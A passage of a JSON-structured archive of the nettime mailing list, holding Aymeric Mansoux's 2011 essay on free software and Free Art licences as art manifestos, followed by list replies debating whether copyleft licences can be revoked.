                "url": "https://nettime.org/Lists-Archives/nettime-l-9701/msg00084.html",
                "content-type": "text/plai",
                "author_name": "j bosma",
                "subject": "nettime: het stuk"
            }
        ],
        "desc": "..."
    },
    "FLOSS": {
        "lists": [
            {
                "id": "00047",
                "content": "Most discussions around the influence of the free software philosophy on\nart tend to revolve around the role of the artist in a networked\ncommunity and her or his relationship with so-called open source\npractices. Investigating why some artists have been quickly attracted to\nthe philosophy behind the free software model and started to apply its\nprinciples to their creations is key in understanding what a free, or\nopen source, work of art can or cannot do as a critical tool within\nculture. At the same time, avoiding a top down analysis of this\nphenomenon, and instead taking a closer look at its root properties,\nallows us to break apart the popular illusion of a global community of\nartists using or writing free software. This is the reason why a very\nimportant element to consider is the role that plays the license as a\nconscious artistic choice.\n\nChoosing a license is the initial step that an artist interested in an\nalternative to standard copyright is confronted with and this is why\nbefore discussing the potentiality of a free work of art, we must first\nunderstand the process that leads to this choice. Indeed, such a\ndecision is often reduced to a mandatory, practical, convenient,\npossibly fashionable step in order to attach a \"free\" or \"open\" label to\na work of art. It is in fact a crucial stage. By doing so, the author\nallows her or his work to interface with a system inside which it can be\nfreely exchanged, modified and distributed. The freedom of this work is\nnot to be misunderstood with gratis and free of charge access to the\ncreation, it means that once such a freedom is granted to a work of art,\nanyone is free to redistribute and modify it according to the rules\nprovided by its license. There is no turning back once this choice is\nmade public. The licensed work will then have a life of its own, an\nautonomy granted by a specific freedom of use, not defined by its\nauthor, but by the license she or he chose. Delegating such rights is\nnot a light decision to make.  Thus we must ask ourselves why an artist\nwould agree to bind her or his work to such an important legal document.\nAfter all, works of art can already 'benefit' from existing copyright\nlaws, so adding another legal layer on top of this might seem\nunnecessary bureaucracy, unless the added 'paper work' might in fact\nwork as a form of statement, possibly a manifesto. In this case we must\nask ourselves what kind of manifesto are we dealing with, what is its\nmessage? What type of works does it generate, what are their purpose and\naesthetic?\n\n\nThe GNU manifesto\n\nIn the history of the creation and distribution of manifestos the role\nof printing and publishing is often forgotten or given a secondary role.\nBut, what would have become of the Futurist Manifesto without the\nsupport of the printing press and the newspaper industry in France and\nthe rest of Europe? Not much, probably. So it is not without irony that\none of the anecdotes often given to illustrate the motivations of\nRichard Stallman to write the GNU Manifesto, the founding text behind\nthe free software movement, is tightly linked to the story of a\ndefective printer. Indeed, very often, the origin of the document starts\nwith a story about a problem Richard Stallman and some colleagues of his\nfaced when Xerox did not give away the driver source code of the printer\nthey had donated to MIT, preventing the hackers at the lab to modify and\nenhance it to fit their specific needs. In this case, this particular\nprinter model had the tendency to jam and the lack of feedback from the\nmachine when it was happening made it hard for the users to know what\nwas going on. [1] Beyond the inability to print, and behind what seems\nto be a trivial anecdote, this event still remains one of the best\nexamples to illustrate the side effects proprietary software can have in\nterms of user alienation. The programmers and engineers that were using\nthe printer could have fixed or found a workaround for the jamming, and\ncontributed the solution to the company and other users.  But they were\ndenied the access to the source code of the software. Such a deadlock is\none of the reasons why the GNU manifesto was written. What is unique in\nthis manifesto, is the idea that software reuse and access should be\nenforced, not only because it belongs to a long history of engineering\npractice, but also because software has to be free.\n\nLooking at the text itself, we can see that the tone and the writing\nstyle used by Stallman make the GNU Manifesto closer to an art\nmanifesto, than to yet another programmer's rant or technical guideline.\nAs a matter of fact, we can read through the document and analyse it\nusing the specific art manifesto traits that Mary Ann Caws has isolated\nbased on the study of art manifestos produced during the twentieth\ncentury. [2] For instance Caws explains that \"it is a document of an\nideology, crafted to convince and convert.\" This is correct, the GNU\nmanifesto starts with a personal story, turns it into a generalisation\nincluding other programmers and eventually involving the reader in the\ngeneralisation and explaining to her or him how to contribute right\naway. Caws also characterises the tone of manifestos as a \"loud genre\",\nand it is not making a stretch to see this feature in the all-capital\nrecursive acronym GNU and the way it is introduced to the reader. It is\nthe first headline of the manifesto and sets the self-referential tone\nfor the rest of the text, as well as embodying a permanent finger\npointing to what it will never be: \"What's GNU? Gnu's Not Unix!.\"\nFurthermore, she reminds us that the manifesto \u00e2does not defend the\nstatus quo but states its own agenda in its collective concern\", which\nis what Stallman does with the use of headlines to announce the GNU\nroad-map and intentions clearly: \"Why I Must Write GNU,\" \"Why GNU Will\nBe Compatible with Unix,\" \"How GNU Will Be Available,\" \"Why Many Other\nProgrammers Want to Help,\" \"How You Can Contribute,\" \"Why All Computer\nUsers Will Benefit.\" the GNU Manifesto also instructs its audience on\nhow to respond to the document with the presence of a final section\n\"Some Easily Rebutted Objections to GNU's Goals\" that lists and answers\ncommon issues that come to mind when reading it. Last but not least,\nmanifestos are often written within a metaphorical framework that\nborrows its jargon from military lingo and for many the GNU Manifesto is\nbeing perceived and presented as a weapon, essential in the war against\nthe main players of the proprietary software industry, such as\nMicrosoft. In fact many hackers saw in the GPL an effective tool in \"the\nperennial war against Microsoft.\" [3] Thus, when the copyleft principle,\nthe mechanism derived from the GNU manifesto, is introduced in the 1997\nedition of the Stanford Law Review, it is precisely described as a\n\"weapon against copyright\" [4] and not just a 'workaround' or 'hack'.\n\n\n>From the manifesto to the license...\n\nThis particular concept of freedom, as it is expressed in the manifesto,\nis focused on the usage and the users of software. It will eventually\nlead to the maintenance by the Free Software Foundation (FSF) of a\ndefinition of free software and the four freedoms that can ensure its\nexistence. On top of that, the GNU Manifesto is practically implemented\nwith the GNU General Public License (GPL), that provides the legal\nframework to enable its vision of software freedom. It means every work\nthat is defined by its author as free software, must be distributed with\nthe GPL. The license itself works as a constant reference to the\nmanifesto, by the way it is affecting the software and its source code\ndistribution. Every software distributed with the GPL becomes the\nmanifestation of GNU, and the license's preamble is nothing else but an\nalternative text paraphrasing the GNU Manifesto. This preamble is not a\ncreative addition to the license, on the contrary the Frequently Asked\nQuestions (FAQ) of the FSF even insists that it is an integral part of\nthe license and cannot be omitted, thus making form and function\ncoincide.\n\nEven though the GPL was specifically targeting software, it does not\ntake long for some people to see this as a principle that could be\nadapted or used literally in other forms of collaborative works. As\nearly as 1997, copyleft is mentioned as a valid framework for\ncollaborative artworks in which artists would pass \"each work from one\nartist to another.\" [5] Of course, this is suddenly brought to our\nattention not because of the collaboration itself, but because of its\nsudden legal validity. Indeed the idea of passing works from one artist\nto another and encouraging derivative works is nothing new. For\ninstance, back in the sixties, mail artists such as Ray Johnson even\nused the term \"copy-left\" in their work, [6] and it was possible on some\noccasions to spot the now very popular copyleft icon, an horizontally\nmirrored copyright logo, marking a mail art publication. In this context\ncopy-left was seen as a symbol of \"free-from-copyright relationships\"\nwith other artists in a way that was \"not bound to ideologies\".[7] In a\nstrange twist, the use of this term is echoing years later, not without\ncynicism, in some reproductions of Johnson's works which are now stamped\n\"Copyright the estate of Ray Johnson.\"[8]\n\nSo why a sudden interest in such practices? Precisely because of the\ngrowing development of intellectual property in the field of cultural\nproduction. At the time, under the 1976 copyright act, the only\nrecognised artistic collaborative work was the joint work, in which it\nis required that all the authors agree that all their contributions are\nmeant to be merged into one, flattened down, work. This made perfect\nsense in the context of the print based copyright doctrine but was\nclearly not working for digital environments where the romantic vision\nof the author is dissolved in the complex network of branches, copies\nand processes inherent to networked collaboration. This situation\nprovided much headache to lawyers focused on the copyrighting of\ndigitally born works. One of these works is for instance Bonnie\nMitchell's 1996 \u00e2ChainArt\u00e2 project, in which her students and fellow\nartists were invited to modify a digital image and pass it to someone\nelse using a file server.  In such a project the whole process and its\ndifferent iterations are the work itself, not the final image at the end\nof the chain. The work exists as a collection of derived, reused and\nremixed individual elements that cannot be flattened down into one\nsingle 'joint work' and as a consequence, from a legal perspective,\ncould neither be protected nor credited properly under the limited\ncopyright regulations.[9] No surprise then that Heffan picked the Chain\nArt project as an example of artistic work that could greatly benefit\nfrom the GPL and the use of copyleft that can encourage \"the creation of\ncollaborative works by strangers\".[10]\n\n\n...and back to the manifesto\n\nAlthough this conclusion makes perfect sense legally, it clearly\noverlooks and diminishes the artistic desire to reflect upon the nature\nof information in the age of computer networks. Many artists adopted the\nGPL early on, not because of their wish to collaborate with strangers,\nbut instead to augment their work with a statement derived from the free\nsoftware ideology. For instance Mirko Vidovic used the free software\ndefinition to develop the GNU Art project,[11] in which suddenly, the\nGPL becomes a political tag, a set of meta data that could be applied to\nany work of art. By choosing the GPL as a means of creation and\ndistribution, artists are aiming at implementing an apparatus similar to\nthe digital aesthetics that Critical Art Ensemble (CAE) had described\n\"as a process of copying [\u00e2] that offers dominant culture minimal\nmaterial for recuperation by recycling the same images, actions, and\nsounds into radical discourse\".[12] The weapon against copyright becomes\na flagship for the recombining dreams of the digital resistance as\nenvisioned by CAE. But by directly reusing the GPL, projects such as GNU\nArt failed none the less to really break through the position of\nStallman that refuses to take part in judging if whether or not works of\nart should be free.\n\nThis is why a few lawyers, M\u00c3lanie Cl\u00c3ment-Fontaine, David Geraud, as\nwell as artists, Isabelle Vodjdani and Antoine Moreau, felt the need to\nmake more explicit the artistic context and motivations of a liberated\nwork of art by creating the Free Art License (FAL), equivalent to the\npopular free software GNU public License and articulated specifically\nfor the creation of free art.  [13] Suddenly, the license becomes an art\nmanifesto. In the FAL the rules of copyleft are exposed, they stand on\ntheir own and enable the artistic creation, not for the sake of creating\nbut as a means to produce singular and collective works. What is seen as\nfreedom is just a very specific definition as envisioned in the GNU\nmanifesto and that can only exist within the set of rules it represents.\nMoved to an artistic context, the rules to define freedom become a\nsystem to make art. In the same way that 'cent mille milliards de\npo\u00c3mes' was the 1961 OuLiPo manifestation of creative rules, the free\nart license is also a combinative manifesto, one that enables free art.\nIt is not a simple adaptation of the GPL to the French copyright law, it\nis a networked art manifesto that operates within the legal fabric of\nculture.\n\nAnyone who respects the rules of the FAL is allowed to play this game.\nJust like the ludic aspect in OuLiPo's work, and its probable root from\nQueneau's flirt with surrealism, artists who start to consciously use\nthe GPL and the FAL solely for its 'exquisite' properties might start a\nsuperficial relationship with the creative process. Indeed, Raymond\nQueneau, co-founder of the OuLiPo reminded us already that we should not\nstop at the process' aesthetics itself because \"simply constructing\nsomething well amounts to reducing art to play, the novel to a chess\ngame, the poem to a puzzle. Neither saying something nor saying\nsomething well is enough, it is necessary that it be worth saying. But\nwhat is worth saying? The answer cannot be avoided: what is useful.\"[14]\nIn other words and adapted to the FAL, the network aesthetics are not\nenough, their existence must be contextualised and positioned to escape\nits fate of a convenient technological and legal framework. This is why\nif the game aspect is obvious in the collective works that surround the\nFAL, we must see beyond the rules that are presented to us to perceive\nthat such an artistic methodology aims to be an answer to the issue\nperceived by Chon in the analysis of the \u00e2ChainArt\u00e2 project. Namely, to\nengage with the fluidity of information and try to turn the clich\u00c3d\nattitude of artists towards their unique and immutable contributions to\nart into a useful game. At the same time the emphasis is put on the\ncollective nature of production and not community work.\n\nThe main issue with the intention of the FAL is that unlike the digital\naesthetics modeled by CAE from Lautr\u00c3amont's ideas,[15] the mechanism of\na free art, against the capitalisation of culture and for the free\ncirculation of ideas within the network can only work by making the\nmachine responsible for this very same capitalisation legitimate. While\nthe mail art derivatives are happening outside of any obvious legal\nregulations, the copyleft art is literally hacking the system to reach a\nsymbiosis and establish a kingdom within the kingdom. As a consequence\nthese political works are very different from the artistic politics\ndeveloped after the Russian revolution and World War I. Here, the artist\nis not an agent of the revolution but the vector of an 'arevolution'. A\ncopyleft art is in the end not so much a critical weapon but instead a\ncornucopia that operates recursively and only within the frame of its\nlicense. Artists that are engaging with it, thus turning the license in\na shared manifesto, cannot materialise an anti-culture, a counter\nculture, nor a subculture, they must create their own from scratch.\nInstead of seeking opposition and destruction of an enemy, they aim at\nfounding and building.\n\n\nConclusion\n\nIf we look at 1897 Mallarm\u00c3's 'Un coup de d\u00c3s jamais n'abolira le\nhasard', it is possible to only see it as an interesting visual design\nexperiment in poetry. This approach misses the reason why this work\nexists in the first place. By turning art into the gathering and\ncomposing, even painting of both time and space within a text, it\nreached the apotheosis of parnassianism and symbolism upon which\nmodernism broke through.[16] A similar issue of complex lineage and\ncontextual information surrounds a document such as the FAL and leads to\nconcurrent 'raisons d'\u00c3tre.' Indeed, the FAL is not just an 'excercice\nde style,' it is the embodiment of several elements that are announcing\nimportant changes in artistic practices: a call to turn legal rules into\na constrained art system, a reflection on the nature of collaboration\nand authorship in the networked economy, a living archeology of the\ncreative process by bringing traceability and transparency, and\nultimately, the mark of an age of copyright and bureaucratic apotheosis\nthat is pushing artists to develop their practice within the\nadministrative structure of society and embed it in their creative\nprocess.\n\nUnfortunately, and this is one of the reasons there is so much confusion\nand misunderstanding about the use of such licenses by artists and\ntheoreticians, is that, with such a manifesto where form meets function,\nonce the license is used, it triggers a process of rationalisation that\nleads to a fragmentation of the original ideology and intention into\ndifferent, possibly contradictory, elements:\n\n    * A toolkit for artists to hack their practice and free themselves\n    from consumerist workflows.\n\n    * A political statement against the transformation of the digital\nculture into what CAE calls the \"reproduction and distribution network\nfor the ideology of capital\".\n\n    * A legal and technical framework to interface with the current\nsystem and support existing copyright law practices.\n\n    * A lifestyle, and sometimes fashion statement.\n\nIn practice it is possible for an artist to only see one of these facets\nand either ignore or not be aware of the others, making the license as\nmanifesto multidimensional, open to different interpretations, not\nunlike the medium it was drafted in: the law.\n\n---\n\n[1] Sam Williams, Free as in Freedom: Richard Stallman's Crusade for\nFree Software, ed. Sam Williams (Sebastopol: O'Reilly and Associates,\nInc., 2002).\n\n[2] Mary Ann Caws, Manifesto: A Century of Isms (Lincoln: University of\nNebraska Press, 2000).\n\n[3] Ibid. 1, p. 13.\n\n[4] Ira V. Heffan, \"Copyleft: Licensing Collaborative Works in the\nDigital Age,\" in Stanford Law Review, Vol. 49, No. 6 (Jul., 1997), pp.\n1487-1521.\n\n[5] Ibid.\n\n[6] \"From Mail Art to Net.art (studies in tactical media #3)\", McKenzie\nWark, email on the nettime mailing list,\nhttp://www.nettime.org/Lists-Archives/nettime-l-0210/msg00040.html.\n\n[7] \"RYOSUKE COHEN MAIL ART - ENGLISH\", accessed May 13, 2011,\nhttp://www.h5.dion.ne.jp/~cohen/info/ryosukec.htm.\n\n[8] Ibid. 6.\n\n[9] Margaret Chon, \"New Wine Bursting from Old Bottles: Collaborative\nInternet Art, Joint Works, and Entrepreneurship,\" in Oregon Law Review,\nSpring 1996.\n\n[10] Ibid. 4.\n\n[11] \"GNUArt\", accessed May 13, 2011, http://gnuart.org.\n\n[12] Critical Art Ensemble, \"Recombinant Theatre and Digital\nResistance,\" in TDR (1988-), Vol. 44, No. 4 (Winter, 2000), pp. 151-166.\n\n[13] \"Free Art License 1.3,\" accessed April 19, 2011,\nhttp://artlibre.org/licence/lal/en.\n\n[14] Constantin Toloudis, \"The Impulse for the Ludic in the Poetics of\nRaymond Queneau,\" in Twentieth Century Literature, Vol. 35, No. 2\n(Summer, 1989), pp.  147-160.\n\n[15] Ibid. 12.\n\n[16] Jacqueline Levaillant, \"Les avatars d'un culte: l'image de Mallarm\u00c3\npour le groupe initial de la Nouvelle Revue Fran\u00c3aise,\" in Revue\nd'Histoire litt\u00c3raire de la France, 99e Ann\u00c3e, No. 5 (Sept. -Oct.,\n1999), pp.  1047-1061.\n\n\n\na.\n--\nhttp://su.kuri.mu\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00047.html",
                "list": "nettime_l",
                "author_name": "Aymeric Mansoux",
                "subject": "<nettime> My Lawyer is an Artis",
                "from": "Aymeric Mansoux <am-nt {AT} kuri.mu>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "from": "Aymeric Mansoux <am-nt {AT} kuri.mu>",
                                "content": "Keith Sanborn said :\n\n> Very interesting to consider Mallarm\u00e9 and OuLiPo in this context. \n> \n> So is this endgame a condition of history or are there ways out?\n> Beyond the mutually exclusive strategies you enumerate? Do you have\n> one to propose? Or must we make our own inferences from the\n> interstices between the elements of your text?\n\nThe only thing that I'd like to propose is an encouragement to artists\ninterested in the topic to keep in mind that free culture is a hub where\nmany agendas and interests will collide and overlap regardless of their\npersonal intention and the one of the license creator. Knowing that\nmight be a beginning of a strategy.\n\nThat said, it is worth mentioning the existence of projects that attempt\nto break down the \"multidimensional\" nature of some free cultural or\nopen content licenses. Some of which will be familiar to this list's\nmembers: the Peer Production License, the Open Art License, the\nexception GPL aka ethical GPL, personal \"forks\" of the Free Art License,\netc.\n\nIn each case, the recipe is the same: isolate an issue that is not\ncompatible with a mode of production, a creation process, a belief or\nphilosophy and then forbid/manipulate it as a condition hard coded in\nthe license. \n\nSuch licenses are more than an artistic statement, in the sense of a\npurely artistic phantasy, they also aim at founding and building a body\nof cultural expressions. But none of them are a way out, instead it is a\nway in, a further nesting into some strange legal matryoshka, building\non top of the original copyleft nest within copyright.\n\nBest,\na.\n--\nhttp://su.kuri.mu \n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00051",
                                "date": "Mon, 14 Nov 2011 23:38:05 +0100",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "20111114223805.GG2825 {AT} pokute.jungl",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00051.html",
                                "content-type": "text/plai",
                                "author_name": "Aymeric Mansoux",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            }
                        ],
                        "from": "Aymeric Mansoux <am-nt {AT} kuri.mu>",
                        "content": "Keith Sanborn said :\n\n> Very interesting to consider Mallarm\u00e9 and OuLiPo in this context. \n> \n> So is this endgame a condition of history or are there ways out?\n> Beyond the mutually exclusive strategies you enumerate? Do you have\n> one to propose? Or must we make our own inferences from the\n> interstices between the elements of your text?\n\nThe only thing that I'd like to propose is an encouragement to artists\ninterested in the topic to keep in mind that free culture is a hub where\nmany agendas and interests will collide and overlap regardless of their\npersonal intention and the one of the license creator. Knowing that\nmight be a beginning of a strategy.\n\nThat said, it is worth mentioning the existence of projects that attempt\nto break down the \"multidimensional\" nature of some free cultural or\nopen content licenses. Some of which will be familiar to this list's\nmembers: the Peer Production License, the Open Art License, the\nexception GPL aka ethical GPL, personal \"forks\" of the Free Art License,\netc.\n\nIn each case, the recipe is the same: isolate an issue that is not\ncompatible with a mode of production, a creation process, a belief or\nphilosophy and then forbid/manipulate it as a condition hard coded in\nthe license. \n\nSuch licenses are more than an artistic statement, in the sense of a\npurely artistic phantasy, they also aim at founding and building a body\nof cultural expressions. But none of them are a way out, instead it is a\nway in, a further nesting into some strange legal matryoshka, building\non top of the original copyleft nest within copyright.\n\nBest,\na.\n--\nhttp://su.kuri.mu \n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00051",
                        "date": "Mon, 14 Nov 2011 23:38:05 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "20111114223805.GG2825 {AT} pokute.jungl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00051.html",
                        "content-type": "text/plai",
                        "author_name": "Message not available",
                        "subject": "Re: <nettime> My Lawyer is an Artis"
                    },
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                                        "content": "Am 15.11.2011 20:01, schrieb Rob Myers:\n\n> On 15/11/11 10:15, Heiko Recktenwald wrote:\n>\n>> IMHO nothing can stop a pruducer from changing his mind for the future.\n>\n> They cannot however prevent the people who have received copies of their\n> work under a licence offering that work to other people under the same\n> licence.\n\nThis is what I am asking myself. I dont think the GPL produces any\nobligation, it is just the actual consent of the author that matters and\nmay change.\n\nIMHO,\n\nbest, H.\n\n<...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00061",
                                        "date": "Wed, 16 Nov 2011 17:03:10 +0100",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "4EC3DEBE.2020307 {AT} gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00061.html",
                                        "content-type": "text/plai",
                                        "author_name": "Heiko Recktenwald",
                                        "subject": "Re: <nettime> My Lawyer is an Artis"
                                    }
                                ],
                                "from": "Rob Myers <rob {AT} robmyers.org>",
                                "content": "On 15/11/11 10:15, Heiko Recktenwald wrote:\n\n> IMHO nothing can stop a pruducer from\n> changing his mind for the future.\n\nThey cannot however prevent the people who have received copies of their\nwork under a licence offering that work to other people under the same\nlicence.\n\nSo yes the artist can stop offering the work under that licence, but\nthey'll have a hard time suppressing it.\n\n- Rob.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00055",
                                "date": "Tue, 15 Nov 2011 19:01:26 +0000",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4EC2B706.7080405 {AT} robmyers.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00055.html",
                                "content-type": "text/plai",
                                "author_name": "Rob Myers",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            },
                            {
                                "from": "David Griffiths <dave {AT} pawfal.org>",
                                "content": "Heiko Recktenwald wrote:\n\n> Hi\n> \n> Am 11.11.2011 14:23, schrieb Aymeric Mansoux:\n> \n>> It is in fact a crucial stage. By doing so, the author allows her or\n>> his work to interface with a system inside which it can be freely\n>> exchanged, modified and distributed. The freedom of this work is not\n>> to be misunderstood with gratis and free of charge access to the\n>> creation, it means that once such a freedom is granted to a work of\n>> art, anyone is free to redistribute and modify it according to the\n>> rules provided by its license. There is no turning back once this\n>> choice is made public.\n> \n> This is IMHO pure nonsense. IMHO nothing can stop a pruducer from\n> changing his mind for the future. Why should it be the way you\n> imagine? What should be the reason for such a limitation (\"no turning\n> back\") of his freedom? Can you show me, sorry, ONE case where a court\n> has decided in your way?\n\nWith a licence such as the GPL my understanding was that the \"no-turning\nback point\" happens whenever someone else contributes or forks the work\n- from this point on agreement has to be reached from all authors before\nthe licence can be changed - in practice this is not generally possible.\n\nIn terms of software, the freedom considered important by the GPL is\nthat of the users of the work, not the developers (i.e. it should remain\nfree/open for the users benefit).\n\ncheers,\n\ndave\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00057",
                                "date": "Tue, 15 Nov 2011 18:07:40 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4EC28E4C.2030409 {AT} pawfal.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00057.html",
                                "content-type": "text/plai",
                                "author_name": "David Griffiths",
                                "subject": "Re: <nettime> My Lawyer is an Artis"
                            },
                            {
                                "follow-up": [
                                    {
                                        "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                                        "content": "Dear Florian,\n\nAm 16.11.2011 19:07, schrieb Florian Cramer:\n\n>>> It is in fact a crucial stage. By doing so, the author allows her or\n>>> his work to interface with a system inside which it can be freely\n>>> exchanged, modified and distributed. The freedom of this work is not\n>>> to be misunderstood with gratis and free of charge access to the\n>>> creation, it means that once such a freedom is granted to a work of\n>>> art, anyone is free to redistribute and modify it according to the\n>>> rules provided by its license. There is no turning back once this\n>>> choice is made public.\n>>>\n>> This is IMHO pure nonsense. IMHO nothing can stop a pruducer from\n>> changing his mind for the future. Why should it be the way you\n>> imagine? What should be the reason for such a limitation (\"no turning\n>> back\") of his freedom? Can you show me, sorry, ONE case where a court\n>> has decided in your way?\n>>\n> A producer/copyright owner can change their mind about the license of\n> a work in the future, but cannot retroactively change a license\n> granted in the past if it was an indefinite license. \n\nThis is a beautifull idea but is it true?\n\nWhat is \"a licence\"?\n\nIs it a thing that you get?  No, it is a set of rules on what you can do\nwith something else, some code or whatever.\n\nAnd all rules have to be interpreted. Transfers of the code accordiing\nto the words of the licence have to be valid.\n\nI would make a difference between the relation between creator A and\nuser B and the relation between user B and C.\n\nEven if creator A would OWE something to user B, he would owe nothing to\nuser C.\n\nBut I doubt that there is any DUTY of creator A against anybody in those\nlicences in any legal sense and think that there is nothing  but a poem\nand actual consent on creator A, that can change.\n\nBest, H.\n\n<...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00063",
                                        "date": "Thu, 17 Nov 2011 02:24:35 +0100",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "4EC46253.90008 {AT} gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00063.html",
                                        "content-type": "text/plai",
                                        "author_name": "Heiko Recktenwald",
                                        "subject": "Re: <nettime> My Lawyer is an Artis"
                                    },
                                    {
                                        "from": "Rob Myers <rob {AT} robmyers.org>",
                                        "content": "\nOn 17/11/11 01:24, Heiko Recktenwald wrote:\n\n>> A producer/copyright owner can change their mind about the license\n>> of a work in the future, but cannot retroactively change a license\n>> granted in the past if it was an indefinite license.\n>\n> This is a beautifull idea but is it true?\n\nYes.\n\n> What is \"a licence\"?\n\nA legal grant of permission. In some jurisdictions it is a form of\nlegal contract.\n\n> Is it a thing that you get? No, it is a set of rules on what you can\n> do with something else, some code or whatever.\n\nWhich affect whether you get a particular thing or not.\n\n> And all rules have to be interpreted. Transfers of the code\n> accordiing to the words of the licence have to be valid.\n\nAll legal documents have to be interpreted. The GPL and various\nCreative Commons licences have been interpreted and upheld by the\ncourts.\n\n> I would make a difference between the relation between creator A and\n> user B and the relation between user B and C.\n>\n> Even if creator A would OWE something to user B, he would owe\n> nothing to user C.\n\nB owes something to C, though, and B got it from A. A cannot change\nB's ability to give A's work to C. What A \"owes\" C depends on how\nRomantically we view A's work. But C will certainly end up with A's\nwork.\n\nYou are right that A and B have different relationships to C: under\ncopyleft A can relicence adaptations of the work, B can't. But that's\nvery different from being able to prevent C from receiving the\noriginal work from B.\n\n> But I doubt that there is any DUTY of creator A against anybody in\n> those licences in any legal sense and think that there is nothing\n> but a poem and actual consent on creator A, that can change.\n\nAs I say, the courts have upheld these \"poems\". A has no power to\nprevent C receiving the work from A. We can phrase this as a duty not\nto prevent C from receiving the work if we really want to.\n\n- Rob.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00070",
                                        "date": "Sun, 20 Nov 2011 12:26:24 +0000",
                                        "to": "nettime-l {AT} mail.kein.org",
                                        "message-id": "4EC8F1F0.2050708 {AT} robmyers.or",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1111/msg00070.html",
                                        "content-type": "text/plai",
                                        "author_name": "Rob Myers",
                                        "subject": "Re: <nettime> My Lawyer is an Artis"
                                    },
                                    {
                                        "from": "Aymeric Mansoux <am-nt {AT} kuri.mu>",
                                        "content": "Rob Myers said :\n\n> On 17/11/11 01:24, Heiko Recktenwald wrote:\n> > I would make a difference between the relation between creator A and\n> > user B and the relation between user B and C.\n> >\n> > Even if creator A would OWE something to user B, he would owe nothing\n> > to user C.\n> \n> B owes something to C, though, and B got it from A. A cannot change B's\n> ability to give A's work to C. What A \"owes\" C depends on how\n> Romantically we view A's work. But C will certainly end up with A's work.\n <...>\n\nJust to add to what Rob and the others have already said, I think there\nis also a confusion between copyright, moral rights and the\neffectiveness of the latter within copyleft practices. In theory A can\nstill stop C to keep on making a particular usage of A's work if there\nis a way to demonstrate that this particular usage, even though\nfully respecting the terms of the license, is damaging for A's honor and\nreputation.\n\nThat's the simplified general idea. In practice every juridiction has\nits own way to define moral rights and by extension its own cases of\nwhat is considered \"damaging\". To make things worse the very concept of\nmoral rights does not exist in all juridictions. Overall, whether it is\ndefined or not, the whole idea is difficult to put in practice, if not\nhard to make relevant to a specific context.\n\nIn the end, this only concerns very specific situations that will only\nchange the nature and possibly terminate the license or the contract\nbetween A and C. B's rights will remain unchanged, as well as the ones\nfrom D, E, F, ..., Z because free culture licenses are irrevocable. The\nGPLv3 and CC licenses are very explicit in that regard. A good\nillustration of the difficulty to deal with moral right issues is by\nchecking all the mechanisms in CC licenses to make sure A is not wrongly\ncredited for changes that were not endorsed.\n\nSo, as stated previously, once the decision is made, is public and that\nthe licensed work has been already copied/distributed, there is no\nturning back.\n\na.\n--\nhttp://su.kuri.mu\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00083",
